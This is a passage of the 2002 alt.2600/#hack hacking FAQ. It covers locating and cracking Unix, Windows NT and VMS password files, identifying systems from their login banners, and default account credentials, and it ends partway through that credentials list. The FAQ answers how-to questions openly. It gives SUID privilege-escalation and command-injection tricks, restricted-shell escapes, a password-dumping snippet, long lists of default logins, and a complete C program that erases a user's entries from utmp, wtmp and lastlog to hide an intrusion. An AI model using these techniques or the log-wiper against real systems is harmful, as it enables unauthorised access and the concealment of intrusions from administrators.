Alt.2600 - #Hack FAQ

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alt.2600 FAQ Revision 2002-08-19 - Part 1/1


voyager@hackfaq.org (The Voyager)

Questions (and their answers) about hacking. It should be read by anyone who wishes to post to the
alt.2600 newsgroup or use the IRC channel #hack.

Archive-Name: alt-2600/faq
Posting-Frequency: Random
Last-Modified: 2002/08/19
Version: 2002-08-19

Welcome to the alt.2600/#hack FAQ!

The purpose of this FAQ is to give you a general introduction to the topics covered in alt.2600
and #hack. No document will make you a hacker.

If you have a question regarding any of the topics covered in the FAQ, please direct it to
alt.2600. Please do not e-mail me your questions; I do not have time to respond to each
request personally.

If your copy of the alt.2600/#hack FAQ does not end with the letters EOT on a line by
themselves, you do not have the entire FAQ.

If you do not have the entire FAQ, find it on the worlwide web at http://ww.hackfaq.org

The

alt.2600/#Hack F.A.Q.

A TNO Communications Production

by

Voyager

voyager@hackfaq.org

Greets go out to:

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TNO, L.O.D., The Guild, r00t, L0pht Heavy Industries, TACD, PLA.

A-Flat, Aleph1, Alhambra, Bogus Technician, Colonel Mustard, Disorder, DrFaustus, Frosty, Glen Roberts,
Harlequin, Hobbit, Ila, K4thryn, Kgee, Lizzie Borden, Mad Poo Bandit, Major, Marauder, Montell, Mudge,
Outsider, Pill, Plexor, Presence, Rage, RF, Rogue Agent, Route, Simple Nomad, Theora, ThePublic,
Tomes, TVoid,Vidiot, Wozz and all of the other happy zanies out there on the 'net.

When I picture a perfect reader, I always picture a monster of courage and curiosity, also something
supple, cunning, cautious, a born adventurer and discoverer...

-- Friedrich Nietzsche

Section A: Computers
A-01. How do I access the password file under Unix?
A-02. How do I crack Unix passwords?
A-03. What is password shadowing?
A-04. Where can I find the password file if it's shadowed?
A-05. What is NIS/yp?
A-06. What are those weird characters after the comma in my passwd file?
A-07. How do I access the password file under Windows NT?
A-08. How do I crack Windows NT passwords?
A-09. How do I access the password file under VMS?
A-10. How do I crack VMS passwords?
A-11. What can be logged on a VMS system?
A-12. What privileges are available on a VMS system?
A-13. How do I break out of a restrictive shell?
A-14. How do I gain root from a suid script or program?
A-15. How do I erase my presence from the system logs?
A-16. How do I change to directories with strange characters in them?
A-17. What is this system?
A-18. What are the default accounts for XXX?
A-19. What is a trojan/worm/virus/logic bomb?
A-20. How can I protect myself from viruses and such?
A-21. Where can I get more information about viruses?
A-22. What is Cryptoxxxxxxx?
A-23. What is PGP?
A-24. What is Tempest?
A-25. How do I defeat copy protection?
A-26. What are some available debuggers and disassemblers?
A-27. How do I defeat a BIOS password?
A-28. What is the password for <encrypted file>?
A-29. Is there any hope of a decompiler that would convert an executable program into C/C++
code?
A-30. How does the MS-Windows password encryption work?
A-31. What is an Intrusion Detection System (IDS)?

Section B: Data Networks


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B-01. How do I send fakemail?


B-02. How do I fake posts and control messages to Usenet?
B-03. How do I hack ChanOp on IRC?
B-04. How do I modify the IRC client to hide my real username?
B-05. What is sniffing?
B-06. What is an Internet Outdial?
B-07. What are some Internet Outdials?
B-08. What port is XXX on?
B-09. What is an anonymous remailer?
B-10. What are the addresses of some anonymous remailers?
B-11. What is 127.0.0.1?
B-12. How do I post to a moderated newsgroup?
B-13. How do I post to Usenet via e-mail?
B-14. What is a firewall?
B-15. How do I attack a remote network across the Internet?
B-16. What is a TCP sequence prediction attack?

Section C: Wireless Networks


C-01. What is 802.11?
C-02. What is a SSID?
C-03. What is WEP?
C-04. What is MAC Address Filtering?
C-05. What is a rogue access point?
C-06. Where can I get some really cool 802.11 antennae?
C-07. What are some interesting 802.11 tools?

Section D: Telephony
D-01. What is a Red Box?
D-02. How do I build a Red Box?
D-03. Where can I get a 6.5536Mhz crystal?
D-04. Which payphones will a Red Box work on?
D-05. How do I make local calls with a Red Box?
D-06. What is a Blue Box?
D-07. Do Blue Boxes still work?
D-08. What is a Black Box?
D-09. What do all the colored boxes do?
D-10. What is an ANAC number?
D-11. What is the ANAC number for my area?
D-12. What is a ringback number?
D-13. What is the ringback number for my area?
D-14. What is a loop?
D-15. What is a loop in my area?
D-16. What is a CNA number?
D-17. What is the telephone company CNA number for my area?
D-18. What are some numbers that always ring busy?
D-19. What are some numbers that temporarily disconnect phone service?
D-20. What is a Proctor Test Set?
D-21. What is a Proctor Test Set in my area?

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D-22. What is scanning?


D-23. Is scanning illegal?
D-24. How can I make a lineman's handset?
D-25. Where can I purchase a lineman's handset?
D-26. What are the DTMF frequencies?
D-27. What are the frequencies of the telephone tones?
D-28. What is the voltage used to ring a telephone?
D-29. What are all of the * (LASS) codes?
D-30. What frequencies do cordless phones operate on?
D-31. What is Caller-ID?
D-32. How do I block Caller-ID?
D-33. How do I defeat Caller-ID blocking?
D-34. What is a PBX?
D-35. What is a VMB?
D-36. What are the ABCD tones for?
D-37. What are the International Direct Numbers?
D-38. What are some telephone switches?

Section E: Cellular Telephony


E-01. What is a MTSO?
E-02. What is a NAM?
E-03. What is an ESN?
E-04. What is a MIN?
E-05. What is a SCN?
E-06. What is a SIDH?
E-07. What are the forward/reverse channels?

Section F: Radio
F-01. What are these radios I see all of the other hacker types carrying around?
F-02. Do I need a license to use one of these radios?
F-03. What about modifying ("modding") these radios?
F-04. What are better radios for scanning?
F-05. What is trunking?
F-06. What is pirate radio?

Section H: Resources
H-01. What are some ftp sites of interest to hackers?
H-02. What are some fsp sites of interest to hackers?
H-03. What are some newsgroups of interest to hackers?
H-04. What are some telnet sites of interest to hackers?
H-05. What are some gopher sites of interest to hackers?
H-06. What are some World wide Web (WWW) sites of interest to hackers?
H-07. What are some IRC channels of interest to hackers?
H-08. What are some BBS's of interest to hackers?
H-09. What are some books of interest to hackers?

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H-10. What are some videos of interest to hackers?


H-11. What are some mailing lists of interest to hackers?
H-12. What are some print magazines of interest to hackers?
H-13. What are some e-zines of interest to hackers?
H-14. What are some organizations of interest to hackers?
H-15. What are some radio programs of interest to hackers?
H-16. What are other FAQ's of interest to hackers?
H-17. What are some conferences of interest to hackers?
H-18. What are some telephone numbers of interest to hackers?
H-19. Where can I purchase a magnetic stripe reader/writer?
H-20. What are the rainbow books and how can I get them?

Section I: 2600
I-01. What is alt.2600?
I-02. What does "2600" mean?
I-03. Are there on-line versions of 2600 available?
I-04. I can't find 2600 at any bookstores. What can I do?
I-05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

Section J: Miscellaneous
J-01. What does XXX stand for?
J-02. How do I determine if I have a valid credit card number?
J-03. What is the layout of data on magnetic stripe cards?
J-04. What are the ethics of hacking?
J-05. Why did you write this FAQ?
J-06. Where can I get a copy of the alt.2600/#hack FAQ?

Section A -- Computers

A-01. How do I access the password file under Unix?

In standard Unix the password file is /etc/passwd. On a Unix system with either NIS/yp or password
shadowing, much of the password data may be elsewhere. An entry in the password file consists of seven
colon delimited fields:

Username
Encrypted password (And optional password aging data) User number
Group Number
GECOS Information
Home directory
Shell

Sample entry from /etc/passwd:

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voyager:5fg63fhD3d5gh:9406:12:The Voyager:/home/voyager:/bin/bash

Broken down, this passwd file line shows:

Username: voyager
Encrypted password: 5fg63fhD3d5gh
User number: 9406
Group Number: 12
GECOS Information: The Voyager
Home directory: /home/voyager
Shell: /bin/bash

A-02. How do I crack Unix passwords?

Contrary to popular belief, Unix passwords cannot be decrypted. Unix passwords are encrypted with a one
way function. The login program accepts the text you enter at the "Password:" prompt and then runs it
through a cryptographic algorithm. The results of that algorithm are then compared against the encrypted
form of your password stored in the passwd file.

On a more technical level, the password that you enter is used as a key to encrypt a 64-bit block of NULLs.
The first seven bits of each character are extracted to form a 56-bit key. This means that only eight
characters are significant in a standard Unix password. The E-table is then modified using the salt, which is
a 12-bit value, coerced into the first two chars of the stored passwd. The salt's purpose is to make
precompiled passwordd lists and DES hardware chips more time consuming to use. DES is then invoked for
25 iterations. The 64-bit output block and is then coerced into a 64-character alphabet (A-Z,a-z,".","/").
This involves translations in which several different values are represented by the same character, which is
why Unix passwords cannot be decrypted.

Password cracking software uses wordlists. Each word in the wordlist is encrypted using the algorithm
described above and the salts from the password file. The results are then compared to the encrypted form
of the target password.

The best cracking program for Unix passwords is currently Crack by Alec Muffett. For PC-DOS, the best
package to use is currently CrackerJack. For the Macintosh, try Killer Cracker or Mac Krack.

A-03. What is password shadowing?

Password shadowing is a security system where the encrypted password field of /etc/passwd is replaced
with a special token and the encrypted password is stored in a separate file which is not readable by normal
system users.

On older systems, password shadowing was often defeated by using a program that made successive calls
to getpwent() to obtain the entire password file.

Example:

#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())

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printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,


p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}

A-04. Where can I find the password file if it's shadowed?

Unix Path Token


AIX 3 and AIX 4 /etc/security/passwd !
or /tcb/auth/files/<first letter #
of username>/<username>
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix 3.2.x /tcb/auth/files/<first letter *
of username>/<username>
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 / Solaris 2.x /etc/shadow
<optional NIS+ private secure maps>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *

A-05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages).
The purpose of NIS is to allow many machines on a network to share configuration information, including
password data. NIS is not designed to promote system security. If your system uses NIS you will have a
very short /etc/passwd file that includes a line that looks like this:

+::0:0:::i

To view the real password file use this command `ypcat passwd`

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A-06. What are those weird characters after the comma in my passwd file?

The characters are password aging data. Password aging forces the user to change passwords after a system
administrator-specified period of time. Password aging can also force a user to keep a password for a
certain number of weeks before changing it.

Sample entry from /etc/passwd with password aging installed:

voyager:5fg63fhD3d,M.z8:9406:12:The Voyager:/home/voyager:/bin/bash

Note the comma in the encrypted password field. The characters after the comma are used by the password
aging mechanism.

Password aging characters from above example:

M.z8

The four characters are interpreted as follows:

1: Maximum number of weeks a password can be used without changing.

2: Minimum number of weeks a password must be used before changing.

3&4: Last time password was changed, in number of weeks since 1970.

Three special cases should be noted:

If the first and second characters are set to '..' the user will be forced to change his/her passwd the next
time he/she logs in. The passwd program will then remove the passwd aging characters, and the user will
not be subjected to password aging requirements again.

If the third and fourth characters are set to '..' the user will be forced to change his/her passwd the next time
he/she logs in. Password aging will then occur as defined by the first and second characters.

If the first character (MAX) is less than the second character (MIN), the user is not allowed to change
his/her password. Only root can change that users password.

It should also be noted that the su command does not check the password aging data. An account with an
expired password can be su'd to without being forced to change the password.

Password Aging Codes

Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H
Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

Character: I J K L M N O P Q R S T U V W X Y Z a b
Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39

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Character: c d e f g h i j k l m n o p q r s t u v
Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59

Character: w x y z
Number: 60 61 62 63

A-07. How do I access the password file under Windows NT?

Windows NT stores encrypted password hashes in the Registry. RDISK stores a compressed backup copy
of the the password hashes is stored in %SystemRoot%\repair\sam._.

If you can access the Registry you can use PWDump by Jeremy Allison to view this data. The PWDump
utility is freely available at http://us1.samba.org/samba/ftp/pwdump/.

PWDump output consists of seven colon delimited fields:

Username
User number
Encrypted password
LAN Man Password Hash
Windows NT Password Hash
Full Name and Description
Home directory

Sample passwd entry:

voyager:1000:30FA7B24C6108C5A8B4BCCA42D5816FF:B3823C82B43238D31BAF98FA4035255F:The
Voyager, FAQ Author::

Broken down, this password entry shows:

Username: voyager
User number: 1000
Encrypted password: 5fg63fhD3d5gh
LAN Man Password Hash: 30FA7B24C6108C5A8B4BCCA42D5816FF
Windows NT Password Hash: B3823C82B43238D31BAF98FA4035255F
Full Name and Description: The Voyager, FAQ Author
Home directory :

A-08. How do I crack Windows NT passwords?

Windows NT passwords are encrypted with a one way function. This is similar to the way that Unix stores
passwords, except that the Microsoft algorithm is significantly weaker.

Windows NT password can be cracked using wordlists. This is much the same as attacking Unix passwords
with word lists, except that Microsoft passwords are much easier to crack.

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In addition, Microsoft passwords can be brute forced. This means that every password on the system can
be retrieved.

The best cracking program for Windows NT passwords is currently L0phtCrack by Mudge and Weld Pond.
L0phtCrack is available at http://www.atstake.com/research/lc/.

A-09. How do I access the password file under VMS?

Under VMS, the password file is normally stored as SYS$SYSTEM:SYSUAF.DAT. However, unlike
traditional Unixen, most users do not have access to read the password file.

Some administrators will move SYS$SYSTEM:SYSAUF.DAT, in an attempt to increase security through


obscurity. In this case, `DIR SYSAUF` or `SHOW LOG SYSAUF` should point you to the new location of
the file.

A-10. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against
the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD.

A-11. What can be logged on a VMS system?

Virtually every aspect of the VMS system can be logged for investigation. To determine the status of the
accounting on your system use the command SHOW ACCOUNTING. System accounting is a facility for
recording information about the use of the machine from a system accounting perspective (resource logging
such as CPU time, printer usage, etc.), while system auditing is done with the aim of logging information for
the purpose of security. To enable accounting:

$ SET ACCOUNTING [/ENABLE=(Activity...)]

This enables accounting logging information to the accounting log file


SYS$MANAGER:ACCOUNTING.DAT. This also is used to close the current log file and open a new one
with a higher version number.

The following activities can be logged:

BATCH Termination of a batch job


DETACHED Termination of a detached job
IMAGE Image execution
INTERACTIVE Interactive job termination
LOGIN_FAILURE Login failures
MESSAGE Users' messages
NETWORK Network job termination
PRINT Print Jobs
PROCESS Any terminated process

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SUBPROCESS Termination of a subprocess

To enable security auditing use:

$ SET AUDIT [/ENABLE=(Activity...)]

The /ALARM qualifier is used to raise an alarm to all terminals approved as security operators, which
means that you need the SECURITY privileges. You can determine your security auditing configuration
using $ SHOW AUDIT /ALL

The security auditor can be configured to log the following activities:

ACL Access Control List requested events


AUTHORIZATION Modification to the system user
authorization file SYS$SYSTEM:SYSUAF.DAT
BREAKIN Attempted Break-ins
FILE_ACCESS File or global section access
INSTALL Occurrence of any INSTALL operations
LOGFAILURE Any login failures
LOGIN A login attempt from various sources
LOGOUT Logouts
MOUNT Mount or dismount requests

A-12. What privileges are available on a VMS system?

ACNT Allows you to restrain accounting messages


ALLSPOOL Allows you to allocate spooled devices
ALTPRI Allot Priority. This allows you to set any priority
value
BUGCHK Allows you make bug check error log entries
BYPASS Enables you to disregard protections
CMEXEC/
CMKRNL Change to executive or kernel mode. These privileges
allow a process to execute optional routines with KERNEL
and EXECUTIVE access modes. CMKRNL is the most powerful
privilege on VMS as anything protected can be accessed
if you have this privilege. You must have these
privileges to gain access to the kernel data structures
directly.
DETACH This privilege allow you to create detached processes of
arbitrary UICs
DIAGNOSE With this privilege you can diagnose devices
EXQUOTA Allows you to exceed your disk quota

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GROUP This privilege grants you permission to affect other


processes in the same rank
GRPNAM Allows you to insert group logical names into the group
logical names table.
GRPPRV Enables you to access system group objects through
system protection field
LOG_IO Allows you to issue logical input/output requests
MOUNT May execute the mount function
NETMBX Allows you to create network connections
OPER Allows you to perform operator functions
PFNMAP Allows you to map to specific physical pages
PHY_IO Allows you to perform physical input output requests
PRMCEB Can create permanent common event clusters
PRMGBL Allows you to create permanent global sections
PRMMBX Allows you to create permanent mailboxes
PSWAPM Allows you to change a processes swap mode
READALL Allows you read access to everything
SECURITY Enables you to perform security-related functions
SETPRV Enable all privileges
SHARE Allows you to access devices allocated to other users.
This is used to assign system mailboxes.
SHMEM Enables you to modify objects in shared memory
SYSGBL Allows you to create system wide permanent global
sections
SYSLCK Allows you to lock system wide resources
SYSNAM Allows you to insert in system logical names in the
names table.
SYSPRV If a process holds this privilege then it is the same as
a process holding the system user identification code.
TMPMBX Allows you to create temporary mailboxes
VOLPRO Enables you to override volume protection
WORLD When this is set you can affect other processes in the
world

To determine what privileges your process is running with issue the command:

$ show proc/priv

A-13. How do I break out of a restrictive shell?

A restrictive shell is a shell that has been modified to allow you to do fewer things than a normal shell
would allow you to do. It may allow you to run only certain programs. It may stop you from changing
directories. Many sites run their own restrictive shells to allow limited use of their systems over the
Internet. Restrictive shells often make use of the restricted shell (rsh).

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On poorly implemented restricted shells you can break out of the restricted environment by running a
program that features a shell function. A good example is vi. Run vi and use this command:

:set shell=/bin/sh

then shell using this command:

:shell

Many menu based restricted shells will allow you to configure your user environment, or to run programs
that allow you to configure your user environment. Look for configuration options that refer to executable
programs. If the program lets you define an editor, for example, try to set your editor to "/bin/csh -i -f"

If you are not allowed to read files, try to open them inside the e-mail program.

If you are not allowed to edit files, try to save that to file from the e-mail program.

If your restricted shell prevents you from using the "cd" command, try to FTP into your account and
change directories. FTP can aso be used to edit files by getting the file, editing it offline, and utting the net
file back online.

Like most hacking, trying things is often the most successful strategy.

A-14. How do I gain root from a SUID script or program?

1. Change IFS.

If the program calls any other programs using the system() function call, you may be able to fool it by
changing IFS. IFS is the Internal Field Separator that the shell uses to delimit arguments.

If the program contains a line that looks like this:

system("/bin/date")

and you change IFS to '/' the shell will them interpret the proceeding line as:

bin date

Now, if you have a program of your own in the path called "bin" the suid program will run your program
instead of /bin/date.

To change IFS, use this command:

IFS='/';export IFS # Bourne Shell


setenv IFS '/' # C Shell
export IFS='/' # Korn Shell

2. Link the script to -i

Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to
start up in interactive mode. This only works on suid shell scripts.

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Example:

% ln suid.sh -i
% -i
#

3. Exploit a race condition

Replace a symbolic link to the program with another program while the kernel is loading /bin/sh.

Example:

nice -19 suidprog ; ln -s evilprog suidroot

4. Send bad input to the program.

Invoke the name of the program and a separate command on the same command line.

Example:

suidprog ; id

A-15. How do I erase my presence from the system logs?

Edit utmp (usually /etc/utmp), wtmp (usually /usr/adm/wtmp), and lastlog (usually /usr/adm/lastlog) These
are not text files that can be edited by hand with vi, you must use a program specifically written for this
purpose.

Example:
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>

#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

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if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {


lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);


}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}

A-16. How do I change to directories with strange characters in them?

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These directories are often used by people trying to hide information, most often warez (commercial
software).

There are several things you can do to determine what these strange characters are. One is to use the
arguments to the ls command that cause ls to give you more information:

From the man page for ls:

-F
Causes directories to be marked with a trailing ``/'', executable files to be marked with a
trailing ``*'', and symbolic links to be marked with a trailing ``@'' symbol.
-q
Forces printing of non-graphic characters in filenames as the character ``?''.
-b
Forces printing of non-graphic characters in the \ddd notation, in octal.

Perhaps the most useful tool is to simply do an "ls -al filename" to save the directory of the remote ftp site
as a file on your local machine. Then you can do a "cat -t -v -e filename" to see exactly what those bizarre
little characters are.

From the man page for cat:

-v
Causes non-printing characters (with the exception of tabs, newlines, and form feeds) to
be displayed. Control characters are displayed as ^X (<Ctrl>x), where X is the key
pressed with the <Ctrl> key (for example, <Ctrl>m is displayed as ^M). The <Del>
character (octal 0177) is printed as ^?. Non-ASCII characters (with the high bit set) are
printed as M -x, where x is the character specified by the seven low order bits.
-t
Causes tabs to be printed as ^I and form feeds as ^L. This option is ignored if the -v
option is not specified.
-e
Causes a ``$'' character to be printed at the end of each line (prior to the new-line). This
option is ignored if the -v option is not set.

If the directory name includes a <SPACE> or a <TAB> you will need to enclose the entire directory name
in quotes. Example:

cd "..<TAB>"

On an IBM-PC, you may enter these special characters by holding down the <ALT> key and entering the
decimal value of the special character on your numeric keypad. When you release the <ALT> key, the
special character should appear on your screen. An ASCII chart can be very helpful.

Sometimes people will create directories with some of the standard stty control characters in them, such as
^Z (suspend) or ^C (intr). To get into those directories, you will first need to user stty to change the control
character in question to another character.

From the man page for stty:

Control assignments

control-character C

Sets control-character to C, where control-character is erase, kill, intr (interrupt),


quit, eof, eol, swtch (switch), start, stop or susp.

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start and stop are available as possible control characters


for the control-character C assignment.

If C is preceded by a caret (^) (escaped from the shell), then the value used is the
corresponding control character (for example, ^D is a <Ctrl>d; ^? is interpreted as
DELETE and ^- is interpreted as undefined).

Use the stty -a command to see your current stty settings, and to determine which one is
causing you problems.

A-17. What is this system?

AIX

IBM AIX Version 3 for RISC System/6000 (C) Copyrights by IBM and by others 1982, 1990.
login:

[You will know an AIX system because it is the only Unix system that clears the screen and
issues a login prompt near the bottom of the screen]

AS/400

UserID?
Password?

Once in, type GO MAIN

CDC Cyber

WELCOME TO THE NOS SOFTWARE SYSTEM.


COPYRIGHT CONTROL DATA 1978, 1987.

88/02/16. 02.36.53. N265100


CSUS CYBER 170-730. NOS 2.5.2-678/3.
FAMILY:

You would normally just hit return at the family prompt. Next prompt is:

USER NAME:

CISCO Router

FIRST BANK OF TNO

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95-866 TNO VirtualBank


REMOTE Router - TN043R1

Console Port

SN - 00000866

TN043R1>

DECserver

DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1 DPS502-DS700

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO

Local>

Hewlett Packard MPE-XL

MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057) MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424) MPE XL:

GTN

WELCOME TO CITIBANK. PLEASE SIGN ON.


XXXXXXXX

@
PASSWORD =

PLEASE ENTER YOUR ID:-1->


PLEASE ENTER YOUR PASSWORD:-2->

CITICORP (CITY NAME). KEY GHELP FOR HELP. XXX.XXX


PLEASE SELECT SERVICE REQUIRED.-3->

Lantronix Terminal Server

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Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>

Meridian Mail

Meridian Mail (Northern Telecom Phone/Voice Mail System)


MMM MM MERIDIAN
MMMMM MMMMM
MMMMMM MMMMMM
MMM MMMMM MMM MMMMM MMMMM
MMM MMM MMM MMMMMM MMMMMM
MMM MMM MMM MMM MMM MMM
MMM MMM MMM MMMMM MMM
MMM MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM

Copyright (c) Northern Telecom, 1991

Novell ONLAN

<Control-A aka smiley face>N

[To access the systems it is best to own a copy of ONLAN/PC]

PC-Anywhere

<Control-A aka smiley face>P

[To access the systems it is best to own a copy of PCAnywhere Remote]

PRIMOS

PRIMENET 19.2.7F PPOA1

<any text>

ER!

CONNECT
Primenet V 2.3 (system)

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LOGIN (you)
User id? (system)
SAPB5 (you)
Password? (system)
DROWSAP (you)
OK, (system)

ROLM CBX II

ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568 BIND DATE: 7/APR/93
COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED. ROLM IS A
REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY.
YOU HAVE ENTERED CPU 1
12:38:47 ON WEDNESDAY 2/15/1995

USERNAME: op

PASSWORD:

INVALID USERNAME-PASSWORD PAIR

ROLM-OSL

MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47 RELEASE 8003


OSL, PLEASE.
?

ROLM PhoneMail

ROLM PhoneMail 9252 9254 Microcode Version 4.2 Copyright (C) ROLM Systems 1991
All Rights Reserved.

PM Login>
PM Password>
ÿÿÿ

System75

Login
root
INCORRECT LOGIN
Login
browse
Password:

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]

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Tops-10

NIH Timesharing

NIH Tri-SMP 7.02-FF 16:30:04 TTY11


system 1378/1381/1453 Connected to Node Happy(40) Line # 12 Please LOGIN
.

VM/370

VM/370
!

VM/ESA

VM/ESA ONLINE

TBVM2 VM/ESA Rel 1.1 PUT 9200

Fill in your USERID and PASSWORD and press ENTER (Your password will not appear
when you type it) USERID ===>
PASSWORD ===>

COMMAND ===>

Xylogics Annex Communications Server

Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.

Checking authorization, Please wait... -


Annex username: TNO - Optional security check
Annex password: - Not always present

Permission granted
annex:

A-18. What are the default accounts for XXX?

AS/400

qsecofr qsecofr /* master security officer */

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qsysopr qsysopr /* system operator */


qpgmr qpgmr /* default programmer */

also
ibm password
ibm 2222
ibm service
qsecofr 1111111
qsecofr 2222222
qserv qserv
qsvr qsvr
secofr secofr
qsrv ibmce1

DECserver

ACCESS
SYSTEM

Dynix (The library software, not the UnixOS)

setup <no password>


library <no password>
circ <Social Security Number>

(Type 'later' to exit to the login prompt)

Hewlett Packard MPE-XL

HELLO MANAGER.SYS
HELLO MGR.SYS
HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP
HELLO OP.OPERATOR
MGR CAROLIAN
MGR CCC
MGR CNAS
MGR CONV
MGR COGNOS
OPERATOR COGNOS

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MANAGER COGNOS
OPERATOR DISC
MGR HPDESK
MGR HPWORD
FIELD HPWORD
MGR HPOFFICE
SPOOLMAN HPOFFICE
ADVMAIL HPOFFICE
MAIL HPOFFICE
WP HPOFFICE
MANAGER HPOFFICE
MGR HPONLY
FIELD HPP187
MGR HPP187
MGR HPP189
MGR HPP196
MGR INTX3
MGR ITF3000
MANAGER ITF3000
MAIL MAIL
MGR NETBASE
MGR REGO
MGR RJE
MGR ROBELLE
MANAGER SECURITY
MGR SECURITY
FIELD SERVICE
MANAGER SYS
MGR SYS
PCUSER SYS
RSBCMON SYS
OPERATOR SYS
OPERATOR SYSTEM
FIELD SUPPORT
OPERATOR SUPPORT
MANAGER TCH
MAIL TELESUP
MANAGER TELESUP
MGR TELESUP
SYS TELESUP
MGE VESOFT
MGE VESOFT
MGR WORD

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MGR XLSERVER

Common jobs are Pub, Sys, Data


Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote

Major BBS

Sysop Sysop

Mitel PBX

SYSTEM

Nomadic Computing Environment (NCE) on the Tadpole Technologies


SPARCBook3

fax <no password>

PICK O/S

DSA # Desquetop System Administrator


DS
DESQUETOP
PHANTOM

PRIMOS

PRIME PRIME
SYSTEM SYSTEM
PRIMOS PRIMOS
ADMIN ADMIN
RJE RJE
DEMO DEMO
GAMES GAMES
GUEST GUEST
REGIST REGIST
TEST TEST

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NETMAN NETMAN
PRIRUN PRIRUN
TOOLS TOOLS
CMDNC0 CMDMNC0

Prolog

PBX PBX
NETWORK NETWORK
NETOP <null>

Radio Shack Screen Savers

RS<STORE_ID_NUMBER>

Rolm

CBX Defaults

op op
op operator
su super
admin pwp
eng engineer

PhoneMail Defaults

sysadmin sysadmin
tech tech
poll tech

RSX

SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)

1,1/system (Directory [1,1] Password SYSTEM)


BATCH/BATCH
SYSTEM/MANAGER
USER/USER

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Default accounts for Micro/RSX:

MICRO/RSX

Alternately you can hit <CTRL-Z> when the boot sequence asks you for the date and create
an account using:

RUN ACNT
or RUN $ACNT

(Numbers below 10 {oct} are privileged)

Reboot and wait for the date/time question. Type ^C and at the MCR prompt, type "abo at."
You must include the . dot!

If this works, type "acs lb0:/blks=1000" to get some swap space so the new step won't wedge.

type " run $acnt" and change the password of any account with a group number of 7 or less.

You may find that the ^C does not work. Try ^Z and ESC as well. Also try all 3 as terminators
to valid and invalid times.

If none of the above work, use the halt switch to halt the system, just after a invalid date-time.
Look for a user mode PSW 1[4-7]xxxx. then deposit 177777 into R6, cross your fingers, write
protect the drive and continue the system. This will hopefully result in indirect blowing up...
And hopefully the system has not been fully secured.

SGI Irix

4DGifts <no password>


guest <no password>
demos <no password>
lp <no password>
nuucp <no password>
tour <no password>
tutor <no password>

SGI Irix

bcim bcimpw
bciim bciimpw
